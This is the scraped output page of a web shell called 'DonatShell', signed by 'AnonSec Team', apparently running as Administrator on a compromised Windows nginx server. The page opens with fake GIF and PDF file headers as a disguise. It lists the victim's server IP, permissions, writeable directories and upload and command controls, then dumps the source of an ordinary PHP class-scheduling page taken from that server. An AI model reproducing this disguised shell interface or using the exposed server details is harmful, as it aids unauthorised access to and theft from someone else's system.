GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Scheduler/Schedule/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Scheduler/Schedule/displaySchedule.phpinc
<?
// Schedule/displaySchedule.phpinc
// Display the schedule.

t_Begin(); // Begin TRACKing displaySchedule.phpinc.

sectionHeader();

// Get imported or added sessions.
$query = "
    SELECT DISTINCT
           YRTR
      FROM `class`
  ORDER BY YRTR
";
d_Var('classYRTRResult',$query,'q');
$classYRTRResult = query_do($query);
$classYRTRCount = $GLOBALS['_QUERY']['count'];
d_Var('$classYRTRResult',$classYRTRResult);
$YRTRlist = query_to_list_quoted($classYRTRResult); if ( $YRTRlist == '' ) $YRTRlist = "'0'";
d_Var('$YRTRlist',$YRTRlist);

$query = "
    SELECT sessionId
         , YRTR
         , sessionName
         , sessionDescription
      FROM `session`
		 WHERE YRTR IN ( ".$YRTRlist." )
  ORDER BY YRTR DESC
";
d_Var('sessionResult',$query,'q');
$sessionResult = query_do($query);
$sessionCount = $GLOBALS['_QUERY']['count'];
d_Var('$sessionResult',$sessionResult);

// Import classes from a session.
?>

<form name="display_form" id="display_form" action="<?=php_self()?>" method="post">
  <input type="hidden" name="form" value="display_form">
  <input type="hidden" name="uuid" value="<?=uuid()?>">
<?
#d_Var("\$_SESSION['user']",$_SESSION['user'],'d');

// Display the schedule.
$f['scheduleId'] = $_SESSION['user']['scheduleId'];
d_V('scheduleId');
d_Var('$scheduleclassCount',$scheduleclassCount,'');
d_Var('$scheduleclassResult',$scheduleclassResult,'');

// Display schedule table.
switch ( $_SESSION['user']['calendar_dayview'] ) {
	case 'Full week':
		$daystart = 'Sun';
		$dayend = 'Sat';
		break;
	case '':
	case 'Work week':
		$daystart = 'Mon';
		$dayend = 'Fri';
		break;
}
//$daystart = 'Sun'; // ALL
//$dayend = 'Sat'; // ALL

$query = "
    SELECT weekdayNumber
      FROM `weekday`
     WHERE weekdayDay = '".query_safe($daystart)."'
";
d_Var('weekdayStartInfo',$query,'q');
$weekdayStartInfo = query_info($query);
d_Var('$weekdayStartInfo',$weekdayStartInfo);
$query = "
    SELECT weekdayNumber
      FROM `weekday`
     WHERE weekdayDay = '".query_safe($dayend)."'
";
d_Var('weekdayEndInfo',$query,'q');
$weekdayEndInfo = query_info($query);
d_Var('$weekdayEndInfo',$weekdayEndInfo);

// Get weekdays we are to use.
require('site/get_weekdays.phpinc');
d_Var('$weekdayResult',$weekdayResult);

// BEGIN schedule table.
// Table header.
?>
<div id="filtercontainer"></div>
<div id="div_ScheduleFunctionsContainer"></div>
<div id="schedulecontainer" class="Print hidden">
	<div class="scheduleTable"><?
		// Output calendar header.
		?>
		<div class="scheduleRow"><div class="scheduleTime scheduleHead">Time</div><?
query_seek($weekdayResult, 0);
while ($weekdayInfo = query_row($weekdayResult)) {
	//
	//$weekdayEndInfo['weekdayNumber']
	if ( $weekdayInfo['weekdayNumber'] < $weekdayStartInfo['weekdayNumber']
			|| $weekdayInfo['weekdayNumber'] > $weekdayEndInfo['weekdayNumber']
			) {
		$classAdd = ' '.'hiddenx'; // Hide days not shown in head.
	} else {
		$classAdd = '';
	}
	?><div id="<?=$weekdayInfo['weekdayD']?>head" class="scheduleHead<?=$classAdd?>"><?=$weekdayInfo['weekdayWeekday']?></div><?//scheduleCell 
}
?>
</div>
<?
#d_Var("\$_SESSION['user']['calendar_timebegin']",$_SESSION['user']['calendar_timebegin'],'d');
// Output scheduleTime and scheduleCell divs.
#for ( $time=0; $time<=1440; $time+=15 ) Changed time to mTime 1/29/20 jfm
for ( $mTime=0; $mTime<=1440; $mTime+=15 ) { // Loop thru all time increments.
	#$displayTime = valid_time((int)($time/60).':'.($time%60),'USA'); Changed time to mTime 1/29/20 jfm
	$displayTime = valid_time((int)($mTime/60).':'.($mTime%60),'USA');
	//$mTime = str_replace(array('am','pm',':'),'',$time);
	$classAddTimeincrement = '';
	if ( ( ( $mTime / 15 ) != (int)( $mTime / 15 ) )
		 	|| $mTime < $_SESSION['user']['calendar_timebegin'] * 60
		 	|| $mTime > $_SESSION['user']['calendar_timeend'] * 60
		 ) {
		$classAddTimeincrement = ' hiddeny'; // Hide times that should not be shown.
	}
?>
		<div class="scheduleRow"><div id="_<?=$mTime?>" class="scheduleTime<?=$classAddTimeincrement?>"><?=$displayTime?></div><?
	query_seek($weekdayResult, 0);
	while ($weekdayInfo = query_row($weekdayResult)) {
		$classAddWeekday = '';
		if ( !$classAddTimeincrement ) {
			if ( $weekdayInfo['weekdayNumber'] < $weekdayStartInfo['weekdayNumber']
					|| $weekdayInfo['weekdayNumber'] > $weekdayEndInfo['weekdayNumber']
					) {
				$classAddWeekday = ' hiddenz'; // Hide days that should not be shown.
			}
		}
		$divId = $weekdayInfo['weekdayD'].$mTime;
		?><div id="<?=$divId?>" class="scheduleCell<?=$classAddTimeincrement?><?=$classAddWeekday?>"><?=$divId?></div><?
	}
	$classAdd = '';
?></div><!-- scheduleRow --><?
} // Loop thru all time increments.
?>

	</div><!-- scheduleTable -->
<?
require('Schedule/displayScheduleClassDivs.phpinc'); // Create class divs.
?>
</div><!-- schedulecontainer -->
<?
// Create the table used to determine schedule cell width.
?>
<table id="tbl_scheduleTable" class="scheduleTable"><tr><td class="calendarTime right">&nbsp;</td><?
query_seek($weekdayResult, 0);
while ($weekdayInfo = query_row($weekdayResult)) {
		$classAddWeekday = '';
		if ( true ) {
			if ( $weekdayInfo['weekdayNumber'] < $weekdayStartInfo['weekdayNumber']
					|| $weekdayInfo['weekdayNumber'] > $weekdayEndInfo['weekdayNumber']
					) {
				$classAddWeekday = ' '.'hidden';
			}
		}
	?><th class="calendarCell<?=$classAddWeekday?>" title="<?=$weekdayInfo['weekdayD']?> <?=$weekdayInfo['weekdayNumber']?>" >&nbsp;</th><?
}
?></tr></table>
<?
// END schedule table.

#require('Schedule/displayScheduleClassDivs.phpinc'); // Create class divs.

?>
</form>

<?
sectionFooter();

?>
<script type="text/javascript">
</script>
<?

t_End(); // End TRACKing displaySchedule.phpinc.
?>

Anon7 - 2022
AnonSec Team